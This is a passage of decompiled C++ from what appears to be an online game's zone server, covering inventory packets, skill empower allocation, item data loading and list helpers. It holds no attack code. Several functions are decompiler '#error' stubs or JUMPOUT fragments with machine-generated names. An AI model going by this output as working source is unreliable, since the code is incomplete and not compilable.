v9, 12); } else { if ( v4 & 0x20 ) { v11 = (PROTO_ITEMPACKET_TOTAL *)(itemlist + 3); v12 = (char *)(itemlist + 2); itemlist = 15; ItemSmallBag::isb_Initializetotal( (ItemSmallBag *)v2 + 14231, v12, v11, 15); } } } } ibii = (int)ItemBoxIterator::_vftable_; v30 = (char *)v2 + 35568; v32 = (*(int (**)(void))(*((_DWORD *)v2 + 8892) + 8))(); ibii = (int)&ItemBoxIterItem::_vftable_; LOBYTE(v35) = 1; v31 = 0; if ( (unsigned __int8)ItemBoxIterItem::_vftable_(&ibii) || ItemBoxIterator::ibi_Next((ItemBoxIterator *)&ibii) ) { do { v13 = (**(int (__stdcall ***)(_DWORD))v30)(v31); if ( v13 ) (*(void (__stdcall **)(int))(**(_DWORD **)(v13 + 112) + 64))(v13); } while ( ItemBoxIterator::ibi_Next((ItemBoxIterator *)&ibii) ); } v14 = *(_BYTE *)v3 < 0; LOBYTE(v35) = 0; if ( v14 ) { v15 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 4167; v16 = v15[4]; v17 = (int)(v15 + 2); *(_BYTE *)(v17 + 1) = itemlist; *(_BYTE *)(v17 + 2) = v16 | 1; if ( (_BYTE)itemlist == 15 ) { v18 = ItemSmallBag::isb_FullBufferItem2Client( (ItemSmallBag *)v2 + 14231, (char *)v17, (PROTO_ITEMPACKET_INFORM *)(v17 + 3), 15); v19 = *(_BYTE *)v17; v20 = v18; LOBYTE(v18) = *(_BYTE *)(v3 + 2); v21 = *(_BYTE *)v17 - (unsigned __int8)v18; if ( v19 != (_BYTE)v18 ) AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::so_StoreInventoryFromServer : ItemNumber not match", v21); v22 = v20 + 5; if ( ProtocolPacket::pp_SetPacketLen(&gpp, v22) ) { v23 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 760))(v2); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v23 + 12))(v23, v2, &gpp); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::so_StoreInventoryFromServer : Packet Too Long", v22); } } else { from = 0; v24 = 1; for ( i = CharacterInventory::ci_FillBufferInventoryItem( (CharacterInventory *)((char *)v2 + 32200), (char *)v17, (PROTO_ITEMPACKET_INFORM *)(v17 + 3), (unsigned __int8)itemlist, &from, 8000, 0); i > 0; i = CharacterInventory::ci_FillBufferInventoryItem( (CharacterInventory *)((char *)v2 + 32200), (char *)v17, (PROTO_ITEMPACKET_INFORM *)(v17 + 3), *(_BYTE *)(v17 + 1), &from, 8000, 0) ) { v26 = i + 5; *(_BYTE *)(v17 + 2) ^= (v24 ^ *(_BYTE *)(v17 + 2)) & 1; v24 = 0; if ( ProtocolPacket::pp_SetPacketLen(&gpp, i + 5) ) { v27 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 760))(v2); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v27 + 12))(v27, v2, &gpp); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::so_StoreInventoryFromServer : Packet Too Long", v26); } } } } --funcallanalizer.fca_stackpoint; v35 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, (char *)&stru_59F2B8.maa_TargetSelect.targetlist.mam_Array[1].mts_CharRegnum); __security_check_cookie(v34); } // 59C6A0: using guessed type int (*ItemBoxIterator___vftable_[4])(); // 59C6A4: using guessed type int (__thiscall *ItemBoxIterItem___vftable_)(_DWORD); //----- (00434FC0) -------------------------------------------------------- void __thiscall List::l_Clear(List *this) { int (__stdcall **eraser)(int, __int16); // [sp+0h] [bp-14h]@1 List *v2; // [sp+4h] [bp-10h]@1 int v3; // [sp+10h] [bp-4h]@1 eraser = &ListEraser::_vftable_; v2 = this; v3 = 0; List::l_4AllInList((List *)this, (ListIteratorDefault *)&eraser); } // 59F228: using guessed type int (__stdcall *ListEraser_ItemLotAnalyser__LotChanger____vftable_)(int ele, __int16 handle); //----- (00435010) -------------------------------------------------------- #error "435010: undefined or illegal type '#331' (funcsize=56)" //----- (00435110) -------------------------------------------------------- #error "435110: undefined or illegal type '#331' (funcsize=211)" //----- (00435410) -------------------------------------------------------- void __cdecl ShineObjectClass::ShinePlayer::so_SetRegistNumber(int regnum) { FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, (char *)&stru_59F2B8.maa_TargetSelect.aggresiveNoLevel.baseclass_0.mta_InstanceTarget.mts_CharRegnum); JUMPOUT(sub_435445); } //----- (00435445) -------------------------------------------------------- #error "4355CA: positive sp value has been found (funcsize=107)" //----- (004355D0) -------------------------------------------------------- #error "4355D0: undefined or illegal type '#331' (funcsize=138)" //----- (004357B0) -------------------------------------------------------- #error "4357B0: undefined or illegal type '#331' (funcsize=56)" //----- (00435890) -------------------------------------------------------- #error "435890: undefined or illegal type '#331' (funcsize=71)" //----- (004359B0) -------------------------------------------------------- #error "4359B0: undefined or illegal type '#331' (funcsize=48)" //----- (00435A80) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_SKILL_EMPOWALLOC_REQ(void *ecx0, int netcmd, int len, __int16 handle) { int v4; // edi@1 __int16 v5; // ax@5 int v6; // ebx@5 int v7; // eax@16 int v8; // eax@16 int v9; // eax@18 unsigned int v10; // eax@23 int v11; // ebx@23 int v12; // esi@23 PROTO_NC_SKILL_EMPOWALLOC_REQ *v13; // esi@28 char *v14; // ebx@30 int v15; // edx@31 int v16; // eax@31 void *v17; // eax@33 ItemAttributeClassVtbl *v18; // edx@33 void *v19; // esi@33 int v20; // eax@33 __int16 v21; // dx@33 int v22; // eax@34 int v23; // eax@34 int v24; // esi@35 ItemAttributeClass *v25; // edi@35 __int16 v26; // dx@35 char v27; // al@35 int v28; // esi@35 int v29; // edi@35 void *v30; // ST14_4@35 int v31; // eax@35 bool v32; // sf@36 unsigned __int8 v33; // of@36 int v34; // ST20_4@41 char v35; // al@41 ZoneBaseSession *v36; // eax@42 char *v37; // [sp+20h] [bp-FCh]@4 PROTO_NC_SKILL_EMPOWALLOC_REQ *inv; // [sp+30h] [bp-ECh]@5 unsigned int itemnum; // [sp+34h] [bp-E8h]@16 SKILL_EMPOWER empowresult; // [sp+38h] [bp-E4h]@28 char *iac; // [sp+3Ch] [bp-E0h]@17 unsigned int minustotal; // [sp+40h] [bp-DCh]@15 int v43; // [sp+44h] [bp-D8h]@1 ItemAttributeClass *v44; // [sp+48h] [bp-D4h]@32 FunctionEntarance _; // [sp+4Ch] [bp-D0h]@1 ItemBoxIterIdent *v46; // [sp+50h] [bp-CCh]@31 int v47; // [sp+54h] [bp-C8h]@31 int v48; // [sp+58h] [bp-C4h]@31 void *iic; // [sp+5Ch] [bp-C0h]@33 ItemBoxIterIdent *uii; // [sp+60h] [bp-BCh]@16 int v51; // [sp+64h] [bp-B8h]@16 int v52; // [sp+68h] [bp-B4h]@16 ItemBoxIterIdent ibii; // [sp+6Ch] [bp-B0h]@16 ItemBoxIterIdent this; // [sp+80h] [bp-9Ch]@31 int iti; // [sp+94h] [bp-88h]@35 int v56; // [sp+98h] [bp-84h]@35 __int16 v57; // [sp+9Ch] [bp-80h]@35 __int16 v58; // [sp+100h] [bp-1Ch]@35 char v59; // [sp+102h] [bp-1Ah]@35 unsigned int cookie; // [sp+108h] [bp-14h]@44 int v61; // [sp+118h] [bp-4h]@1 v4 = (int)ecx0; v43 = (int)ecx0; _.fe_FunctionCode = "ShineObjectClass::ShinePlayer::sp_NC_SKILL_EMPOWALLOC_REQ"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_SKILL_EMPOWALLOC_REQ"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_SKILL_EMPOWALLOC_REQ"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v61 = 0; if ( !(_S6_59 & 1) ) { _S6_59 |= 1u; cmc_11.cmc_AllowMode = 118; atexit(_E7_35); } if ( !((1 << **(_BYTE **)(v4 + 3716)) & cmc_11.cmc_AllowMode) ) { (*(void (__thiscall **)(int, signed int, signed int))(*(_DWORD *)v4 + 896))(v4, 2178, 65535); v61 = -1; v37 = "ShineObjectClass::ShinePlayer::sp_NC_SKILL_EMPOWALLOC_REQ"; LABEL_27: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, v37); goto LABEL_44; } v5 = *(_WORD *)(netcmd + 4); v6 = netcmd + 2; inv = (PROTO_NC_SKILL_EMPOWALLOC_REQ *)(netcmd + 2); if ( v5 & 0xF && *(_BYTE *)(netcmd + 6) & 0xF || v5 & 0xF0 && *(_BYTE *)(netcmd + 6) & 0xF0 ) { (*(void (__thiscall **)(int, signed int, _DWORD))(*(_DWORD *)v4 + 896))(v4, 2185, *(_WORD *)v6); v61 = -1; LABEL_26: v37 = "ShineObjectClass::ShinePlayer::sp_NC_SKILL_EMPOWALLOC_REQ"; goto LABEL_27; } if ( v5 & 0xF00 && *(_BYTE *)(netcmd + 7) & 0xF || v5 & 0xF000 && *(_WORD *)(netcmd + 6) & 0xF000 ) { (*(void (__thiscall **)(int, signed int, _DWORD))(*(_DWORD *)v4 + 896))(v4, 2185, *(_WORD *)v6); v61 = -1; goto LABEL_26; } minustotal = (*(_WORD *)(netcmd + 6) & 0xF) + ((unsigned int)*(_WORD *)(netcmd + 6) >> 12) + (((unsigned int)*(_WORD *)(netcmd + 6) >> 4) & 0xF) + (((unsigned int)*(_WORD *)(netcmd + 6) >> 8) & 0xF); if ( (signed int)minustotal > 0 ) { itemnum = 0; ItemBoxIterIdent::ItemBoxIterIdent(&ibii, (ItemBag *)(v4 + 35568), ident, (ChargedEffectContainer *)(v4 + 91688)); v7 = *(_DWORD *)v4; LOBYTE(v61) = 1; v8 = (*(int (__thiscall **)(int))(v7 + 1916))(v4); uii = &ibii; v51 = v8; v52 = 9; if ( InventoryLocking::UnlockedInventoryIterator::uii_Home((InventoryLocking::UnlockedInventoryIterator *)&uii) ) { iac = (char *)ItemAttributeClassContainer::operator__(&itmattcontainer, ident); while ( 1 ) { v9 = (**(int (__stdcall ***)(_DWORD))uii->baseclass_0.ibi_itembag)(uii->baseclass_0.ibi_finger); itemnum += (*(int (__stdcall **)(int))(*(_DWORD *)iac + 24))(v9 + 8); if ( (signed int)itemnum >= (signed int)minustotal ) break; if ( !InventoryLocking::UnlockedInventoryIterator::uii_Next((InventoryLocking::UnlockedInventoryIterator *)&uii) ) goto LABEL_20; } } else { LABEL_20: if ( (signed int)itemnum < (signed int)minustotal ) { (*(void (__thiscall **)(_DWORD, signed int, _DWORD))(*(_DWORD *)v4 + 896))(v4, 2182, *(_WORD *)v6); ibii.baseclass_0.vfptr = (ItemBoxIteratorVtbl *)ItemBoxIterator::_vftable_; LABEL_25: v61 = -1; goto LABEL_26; } } LOBYTE(v61) = 0; } v10 = *(_WORD *)(netcmd + 6); v11 = (*(_WORD *)(netcmd + 4) & 0xF) + ((unsigned int)*(_WORD *)(netcmd + 4) >> 12) + (((unsigned int)*(_WORD *)(netcmd + 4) >> 8) & 0xF) + (((unsigned int)*(_WORD *)(netcmd + 4) >> 4) & 0xF) - ((unsigned __int8)v10 >> 4) - ((v10 >> 8) & 0xF) - (v10 >> 12) - (v10 & 0xF); v12 = v11 + CharaterSkillList::csl_EmpowerSummary((CharaterSkillList *)(v4 + 68240)); if ( (*(int (__thiscall **)(int))(*(_DWORD *)v4 + 1640))(v4) < v12 ) { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_NC_SKILL_EMPOWALLOC_REQ : Too many points", v11); (*(void (__thiscall **)(_DWORD, signed int, _DWORD))(*(_DWORD *)v4 + 896))(v4, 2179, inv->skill); goto LABEL_25; } v13 = inv; if ( CharaterSkillList::csl_EmpowerAlloc((CharaterSkillList *)(v4 + 68240), inv, &empowresult) ) { v14 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 18450; *((_DWORD *)v14 + 1) = (*(int (__thiscall **)(int))(*(_DWORD *)v4 + 836))(v4); *((_WORD *)v14 + 1) = *(_WORD *)(v4 + 4); *(_WORD *)(v14 + 15) = empowresult._bf0; *(_WORD *)(v14 + 17) = empowresult._bf0; *(_WORD *)(v14 + 13) = v13->skill; *((_WORD *)v14 + 5) = v13->skill; v14[27] = 0; v14[12] = 0; *(_WORD *)(v14 + 25) = *(_WORD *)(v4 + 57772); iac = 0; if ( (signed int)minustotal > 0 ) { ItemBoxIterIdent::ItemBoxIterIdent(&this, (ItemBag *)(v4 + 35568), ident, (ChargedEffectContainer *)(v4 + 91688)); v15 = *(_DWORD *)v4; LOBYTE(v61) = 2; v16 = (*(int (__thiscall **)(int))(v15 + 1916))(v4); v46 = &this; v47 = v16; v48 = 9; itemnum = 0; if ( InventoryLocking::UnlockedInventoryIterator::uii_Home((InventoryLocking::UnlockedInventoryIterator *)&v46) ) { v44 = ItemAttributeClassContainer::operator__(&itmattcontainer, ident); do { v17 = (void *)(**(int (__stdcall ***)(_DWORD))v46->baseclass_0.ibi_itembag)(v46->baseclass_0.ibi_finger); v18 = v44->vfptr; v19 = v17; iic = v17; v20 = ((int (__stdcall *)(char *))v18->iac_GetLot)((char *)v17 + 8); LOWORD(inv) = (unsigned __int16)inv & 0x3FF | 0x2400; v21 = (unsigned __int16)inv ^ LOWORD(v46->baseclass_0.ibi_finger); itemnum += v20; LOWORD(inv) = v21 & 0x3FF ^ (unsigned __int16)inv; if ( (signed int)itemnum > (signed int)minustotal ) { v14[27] |= 0x80u; memcpy(&iti, v19, 0x6Cu); v24 = (int)((char *)v19 + 108); v58 = *(_WORD *)v24; v59 = *(_BYTE *)(v24 + 2); v25 = v44; v44->vfptr->iac_SetLot(v44, (SHINE_ITEM_STRUCT *)&v57, itemnum - minustotal); *((_WORD *)v14 + 14) = v57; v26 = (signed __int16)inv; *(_DWORD *)(v14 + 30) = iti; v27 = v14[27]; *(_DWORD *)(v14 + 34) = v56; *((_WORD *)v14 + 20) = v26; v28 = (int)&v14[8 * (v27 & 0x7F) + 42]; v29 = (int)v25->vfptr->iac_fill2buffer(v25, (SHINE_ITEM_STRUCT *)&v57, (char *)v28); v30 = iic; v31 = *(_WORD *)(v14 + 25); *((_WORD *)v14 + 19) = v28 - (_WORD)v14 - 2; (*(void (__thiscall **)(int, int, void *, int *, PROTO_NC_SKILL_EMPOWALLOC_REQ **, PROTO_NC_SKILL_EMPOWALLOC_REQ **))(*(_DWORD *)(v43 + 57768) + 48))( v43 + 57768, v31, v30, &iti, &inv, &inv); iac = (char *)(v29 - v28); v4 = v43; } else { v22 = v14[27] & 0x7F; *(_DWORD *)&v14[8 * v22 + 42] = *(_DWORD *)v19; *(_DWORD *)&v14[8 * v22 + 46] = *((_DWORD *)v19 + 1); v23 = *(_WORD *)(v14 + 25); v14[27] ^= (v14[27] ^ (v14[27] + 1)) & 0x7F; (*(void (__thiscall **)(int, int, void *, PROTO_NC_SKILL_EMPOWALLOC_REQ **, PROTO_NC_SKILL_EMPOWALLOC_REQ **))(*(_DWORD *)(v4 + 57768) + 40))( v4 + 57768, v23, v19, &inv, &inv); } v33 = __OFSUB__(itemnum, minustotal); v32 = ((itemnum - minustotal) & 0x80000000u) != 0; v14[12] = 1; } while ( v32 ^ v33 && InventoryLocking::UnlockedInventoryIterator::uii_Next((InventoryLocking::UnlockedInventoryIterator *)&v46) ); } LOBYTE(v61) = 0; this.baseclass_0.vfptr = (ItemBoxIteratorVtbl *)ItemBoxIterator::_vftable_; } if ( v14[12] == 1 ) *((_WORD *)v14 + 4) = (*(_WORD *)(v4 + 57772))++; v34 = (int)&iac[8 * (v14[27] & 0x7F) + 42]; v35 = ProtocolPacket::pp_SetPacketLen(&gpp, v34); if ( !AssertClass::operator__( &shineassert, (unsigned __int8)v35, "ShineObjectClass::ShinePlayer::sp_NC_SKILL_EMPOW_RESET_REQ : Packet Too Long", v34) ) { v36 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2gameDB); ProtocolPacket::pp_SendPacket(&gpp, v36); } } else { (*(void (__thiscall **)(_DWORD, signed int, _DWORD))(*(_DWORD *)v4 + 896))(v4, 2180, inv->skill); } v61 = -1; FunctionEntarance::_FunctionEntarance(&_); LABEL_44: __security_check_cookie(cookie); } // 59C6A0: using guessed type int (*ItemBoxIterator___vftable_[4])(); //----- (004360D0) -------------------------------------------------------- #error "4360D0: undefined or illegal type '#331' (funcsize=85)" //----- (00436210) -------------------------------------------------------- void __thiscall KQRegenTable::Element::Element(KQRegenTable::Element *this) { *(_QWORD *)&this->tablename.n3_name[4] = 0i64; *(_DWORD *)&this->tablename.n3_name[0] = 0; } //----- (00436220) -------------------------------------------------------- void __thiscall Proto_CharDataStruct::Proto_CharDataStruct(Proto_CharDataStruct *this) { KQRegenTable::Element::Element((KQRegenTable::Element *)&this->pcds_Link2AnotherLayer); } //----- (00436230) -------------------------------------------------------- void __thiscall MemoryQueueElement::MemoryQueueElement(MemoryQueueElement *this) { Proto_CharDataStruct::Proto_CharDataStruct(&this->content); } //----- (00436240) -------------------------------------------------------- void __thiscall DataFromOtherMachineList::DataFromOtherMachineList(DataFromOtherMachineList *this) { DataFromOtherMachineList *v1; // edi@1 char *v2; // esi@1 char *v3; // ebx@1 v1 = this; v2 = (char *)&this->dfoml_Def.pcds_Link2AnotherLayer; v3 = (char *)&this->dfoml_MemoryQueue; *(_QWORD *)&this->dfoml_Def.pcds_Link2AnotherLayer.map.n3_name[4] = 0i64; *(_DWORD *)&this->dfoml_Def.pcds_Link2AnotherLayer.map.n3_name[0] = 0; _eh_vector_constructor_iterator_( &this->dfoml_MemoryQueue, 0x16u, 128, (void (__thiscall *)(void *))MemoryQueueElement::MemoryQueueElement, (void (__thiscall *)(void *))ShineObjectClass::ShineMobileObject::smo_ChineCastCut); *((_DWORD *)v3 + 705) = 127; *((_DWORD *)v3 + 704) = 0; v1->dfoml_Def.CharRegistNumber = -1; v1->dfoml_Def.pcds_Link2AnotherLayer.layer = 0; *((_DWORD *)v2 + 2) = 0; *((_DWORD *)v2 + 1) = 0; *(_DWORD *)v2 = 0; strncpy(v2, byte_59A24E, 0xCu); } //----- (004362B0) -------------------------------------------------------- void __thiscall DataFromOtherMachineList::_DataFromOtherMachineList(DataFromOtherMachineList *this) { _eh_vector_destructor_iterator_( &this->dfoml_MemoryQueue, 0x16u, 128, (void (__thiscall *)(void *))ShineObjectClass::ShineMobileObject::smo_ChineCastCut); } //----- (004362D0) -------------------------------------------------------- BinaryDataBox *__thiscall BinaryDataBox::bdb_ReadData(BinaryDataBox *this, char *fname) { BinaryDataBox *v2; // esi@1 char buffer[256]; // [sp+8h] [bp-104h]@2 v2 = this; if ( !CDataReader::Read(&this->baseclass_0.baseclass_0, fname, 0x15D1u, 0x15Au) ) { AssertClass::ac_AssertFail(&shineassert, "BinaryDataBox::bdb_ReadData : readfail", fname); sprintf(buffer, "Code:%X:%d\tSHN:%X:%d"); AssertClass::ac_AssertFail(&shineassert, buffer, 0); ShineExit("BinaryDataBox::bdb_ReadData"); } return v2; } //----- (00436380) -------------------------------------------------------- unsigned __int16 __cdecl RidingInitHungry(unsigned __int16 itmid) { CIDEB_Element *v1; // eax@1 RIDING *v2; // eax@2 unsigned __int16 result; // ax@3 v1 = ChargedItemEffectDataBox::cideb_GetItemID(&ridedatabox, itmid); if ( v1 && (v2 = v1->ce_Data) != 0 ) result = v2->InitHgauge; else result = 0; return result; } //----- (004363B0) -------------------------------------------------------- void __thiscall ChargedItemEffectDataBox::cideb_Load(ChargedItemEffectDataBox *this, char *fname, UseEffect::UseItemBase *uib, SkillDataBox::SkillDataIndex *uie) { ChargedItemEffectDataBox *v4; // edi@1 int v5; // eax@1 unsigned int v6; // esi@1 void *v7; // ebx@3 unsigned int v8; // eax@8 int i; // ebx@13 CIDEB_Element *v10; // eax@14 unsigned __int16 v11; // cx@14 unsigned __int16 v12; // ax@18 int v13; // ebp@19 unsigned __int16 v14; // cx@21 int v15; // eax@23 v4 = this; BinaryDataBox::bdb_ReadData(&this->baseclass_0, fname); v5 = v4->baseclass_0.baseclass_0.baseclass_0.m_pHead->nNumOfRecord; v4->cideb_Total = v5; v4->cideb_Array = (CIDEB_Element *)operator new__(8 * v5); v6 = 0; if ( v4->cideb_Total > 0 ) { do { if ( v6 < v4->baseclass_0.baseclass_0.baseclass_0.m_pHead->nNumOfRecord ) v7 = CDataReader::GetRecord(&v4->baseclass_0.baseclass_0.baseclass_0, v6); else v7 = &v4->baseclass_0.bdb_defaultblock; if ( !v7 ) { AssertClass::ac_AssertFail(&shineassert, "ChargedItemEffectDataBox::cideb_Load : Null argument", v6); ShineExit("ChargedItemEffectDataBox::cideb_Load"); } v8 = BTree::operator__(&stru_12510618, (const char *)v7 + 2); if ( v8 == -1 ) LOWORD(v8) = -1; v4->cideb_Array[v6].ce_ItemID = v8; v4->cideb_Array[v6].ce_Data = (RIDING *)v7; if ( v4->cideb_Array[v6].ce_ItemID == -1 ) { AssertClass::ac_AssertFail( &shineassert, "ChargedItemEffectDataBox::cideb_Load : Invalid item", (const char *)v7 + 2); ShineExit("ChargedItemEffectDataBox::cideb_Load"); } for ( i = 0; i < (signed int)(v6 - 1); ++i ) { v10 = v4->cideb_Array; v11 = v10[i].ce_Data->Handle; if ( v11 == v10[v6].ce_Data->Handle ) { AssertClass::ac_AssertFail(&shineassert, "ChargedItemEffectDataBox::cideb_Load : Same Handle", v11); ShineExit("ChargedItemEffectDataBox::cideb_Load"); } } v12 = v4->cideb_Array[v6].ce_ItemID; if ( (unsigned int)v12 < unk_12510614 ) { v13 = unk_12510DB0 + 24 * v12; if ( v13 ) { if ( *(_DWORD *)v13 ) { v14 = **(_WORD **)v13; if ( v14 == v12 ) { v15 = unk_12510DB0 + 24 * v12; goto LABEL_24; } AssertClass::ac_AssertFail(&shineassert, "ItemDataBox::operator [] :Invalid Item index", v14 + 10000 * v12); } } } v15 = 0; LABEL_24: if ( *(_DWORD *)(*(_DWORD *)v15 + 102) != 27 ) UseEffect::UsedItemEffect::uie_SetChargedBuffer(&useditemeffect, v4->cideb_Array[v6].ce_ItemID, uib, uie); ++v6; } while ( (signed int)v6 < v4->cideb_Total ); } } //----- (00436590) -------------------------------------------------------- void __thiscall ChargedItemEffectDataBox::ChargedItemEffectDataBox(ChargedItemEffectDataBox *this) { ChargedItemEffectDataBox *v1; // esi@1 v1 = this; CCharacterTitleData::CCharacterTitleData(&this->baseclass_0.baseclass_0); memset((void *)&v1->baseclass_0.bdb_defaultblock, 0, 0x28u); v1->baseclass_0.bdb_defaultblock.EffectValue = 0; v1->baseclass_0.bdb_defaultblock.StaStrength = 0; v1->cideb_Array = 0; } //----- (004365C0) -------------------------------------------------------- void __thiscall ChargedItemEffectDataBox::_ChargedItemEffectDataBox(ChargedItemEffectDataBox *this) { BinaryData *v1; // esi@1 v1 = (BinaryData *)this; if ( this->cideb_Array ) operator delete(this->cideb_Array); CCharacterTitleData::_CCharacterTitleData(v1); } //----- (004365E0) -------------------------------------------------------- void __thiscall ChargedItemEffectDataBox::ChargedItemEffectDataBox(ChargedItemEffectDataBox *this) { ChargedItemEffectDataBox *v1; // esi@1 v1 = this; CCharacterTitleData::CCharacterTitleData(&this->baseclass_0.baseclass_0); memset(&v1->baseclass_0.bdb_defaultblock, 0, 0x6Cu); v1->baseclass_0.bdb_defaultblock.Casting = 0; v1->baseclass_0.bdb_defaultblock.Slot = 0; v1->cideb_Array = 0; } //----- (00436610) -------------------------------------------------------- void __thiscall ChargedItemEffectDataBox::_ChargedItemEffectDataBox(ChargedItemEffectDataBox *this) { BinaryData *v1; // esi@1 v1 = (BinaryData *)this; if ( this->cideb_Array ) operator delete((void *)this->cideb_Array); CCharacterTitleData::_CCharacterTitleData(v1); } //----- (00436630) -------------------------------------------------------- void __thiscall ChargedItemEffectDataBox::ChargedItemEffectDataBox(ChargedItemEffectDataBox *this) { ChargedItemEffectDataBox *v1; // esi@1 v1 = this; CCharacterTitleData::CCharacterTitleData(&this->baseclass_0.baseclass_0); memset(&v1->baseclass_0.bdb_defaultblock, 0, sizeof(v1->baseclass_0.bdb_defaultblock)); v1->cideb_Array = 0; } //----- (00436650) -------------------------------------------------------- void __thiscall ChargedItemEffectDataBox::_ChargedItemEffectDataBox(ChargedItemEffectDataBox *this) { BinaryData *v1; // esi@1 v1 = (BinaryData *)this; if ( this->cideb_Array ) operator delete(this->cideb_Array); CCharacterTitleData::_CCharacterTitleData(v1); } //----- (00436670) -------------------------------------------------------- void __thiscall RidePetDataBox::RidePetDataBox(RidePetDataBox *this) { RidePetDataBox *v1; // esi@1 v1 = this; CCharacterTitleData::CCharacterTitleData(&this->baseclass_0.baseclass_0.baseclass_0); memset(&v1->baseclass_0.baseclass_0.bdb_defaultblock, 0, 0x158u); *(_WORD *)&v1->baseclass_0.baseclass_0.bdb_defaultblock.DummyB[30] = 0; v1->baseclass_0.cideb_Array = 0; } //----- (004366A0) -------------------------------------------------------- void __thiscall RidePetDataBox::_RidePetDataBox(RidePetDataBox *this) { BinaryData *v1; // esi@1 v1 = (BinaryData *)this; if ( this->baseclass_0.cideb_Array ) operator delete((void *)this->baseclass_0.cideb_Array); CCharacterTitleData::_CCharacterTitleData(v1); } //----- (004366C0) -------------------------------------------------------- void __thiscall RidePetDataBox::rpdb_Load(RidePetDataBox *this) { RidePetDataBox *v1; // ebp@1 SkillDataBox::SkillDataIndex *v2; // eax@1 signed int v3; // ebx@1 RIDING *v4; // eax@4 const char *v5; // esi@4 unsigned int v6; // eax@5 unsigned __int16 v7; // di@7 SkillDataBox::SkillDataIndex *v8; // eax@10 v1 = this; v2 = UseEffect::UsedItemEffect::uie_UseSkillID(&useditemeffect, "UseRide"); ChargedItemEffectDataBox::cideb_Load(&v1->baseclass_0, "../9Data/Shine/Riding.shn", &ui_ride, v2); v3 = -1; while ( v3 >= -1 ) { ++v3; if ( v3 >= v1->baseclass_0.cideb_Total ) break; v4 = v1->baseclass_0.cideb_Array[v3].ce_Data; v5 = v4->FeedType; if ( v4->FeedType[0] != 45 ) { v6 = BTree::operator__(&stru_12510618, v4->FeedType); if ( v6 == -1 ) LOWORD(v6) = -1; v7 = v6; if ( (unsigned __int16)v6 == 65535 ) { AssertClass::ac_AssertFail(&shineassert, "RidePetDataBox::rpdb_Load : Invalid food", v5); ShineExit("RidePetDataBox::rpdb_Load"); } v8 = UseEffect::UsedItemEffect::uie_UseSkillID(&useditemeffect, "UseSkill"); UseEffect::UsedItemEffect::uie_SetChargedBuffer(&useditemeffect, v7, &ui_horsefood, v8); } } } //----- (00436790) -------------------------------------------------------- int __cdecl mysecond(int *pnt) { int v1; // ecx@0 int result; // eax@1 int cur; // [sp+0h] [bp-4h]@1 cur = v1; time(&cur); result = diffence2world + cur; if ( pnt ) *pnt = result; return result; } // 7BC118: using guessed type __int32 diffence2world; //----- (004367C0) -------------------------------------------------------- ChargedItemEffect *__thiscall ChargedItemEffectDataBox::cideb_FindFromHandle(ChargedItemEffectDataBox *this, int handle) { int v2; // edx@1 int v3; // eax@1 CIDEB_Element *v4; // esi@2 int v5; // ecx@2 ChargedItemEffect *result; // eax@5 v2 = this->cideb_Total; v3 = 0; if ( v2 <= 0 ) { LABEL_5: result = 0; } else { v4 = this->cideb_Array; v5 = (int)&v4->ce_Data; while ( **(_WORD **)v5 != handle ) { ++v3; v5 += 8; if ( v3 >= v2 ) goto LABEL_5; } result = v4[v3].ce_Data; } return result; } //----- (00436800) -------------------------------------------------------- void __thiscall List::_List(List *this) { void *v1; // ecx@1 this->vfptr = (ListVtbl *)List::_vftable_; v1 = this->l_Array; if ( v1 ) operator delete__(v1); } // 59F910: using guessed type int (__stdcall *List_ChargedItemEffectList__ChargedItemEffectElement____vftable_[3])(__int16 hnd); //----- (00436820) -------------------------------------------------------- char __thiscall List::l_PushZ(List *this, ChargedItemEffectList::ChargedItemEffectElement *ele) { int v2; // eax@1 int v3; // eax@1 v2 = this->l_Finger.empty; JUMPOUT(v2, -1, Concurrency::_Order_node_base::reserve_message); v3 = ((int (__stdcall *)(int))this->vfptr->l_AllocZ)(v2); if ( !v3 ) JUMPOUT(*(int *)Concurrency::_Order_node_base::reserve_message); *(_DWORD *)v3 = ele->ciee_Index; *(_DWORD *)(v3 + 4) = *(_DWORD *)&ele->ciee_Year; *(_DWORD *)(v3 + 8) = *(_DWORD *)&ele->ciee_Minute; return 1; } // 436836: using guessed type int __stdcall Concurrency___Order_node_base_enum Concurrency__agent_status___reserve_message(int); //----- (00436860) -------------------------------------------------------- char __thiscall List::l_PopA(List *this, ChargedItemEffectList::ChargedItemEffectElement *ele) { ListStruct *v2; // esi@1 int v3; // eax@1 ChargedItemEffectList::ChargedItemEffectElement *v5; // edx@4 v2 = this->l_Array; v3 = 3 * this->l_Finger.store; LOWORD(v3) = v2[this->l_Finger.store].ls_Next; if ( (unsigned __int16)v3 < this->l_MaxSize ) { if ( !v2[(unsigned __int16)v3].ls_IsActiv ) return 0; v5 = v2[(unsigned __int16)v3].ls_Content; ele->ciee_Index = v5->ciee_Index; *(_DWORD *)&ele->ciee_Year = *(_DWORD *)&v5->ciee_Year; *(_DWORD *)&ele->ciee_Minute = *(_DWORD *)&v5->ciee_Minute; ((void (__stdcall *)(_DWORD))this->vfptr->l_Free)(v3); } return 1; } //----- (004368C0) -------------------------------------------------------- char __thiscall List::l_PopZ(List *this, ChargedItemEffectList::ChargedItemEffectElement *ele) { ListStruct *v2; // esi@1 int v3; // eax@1 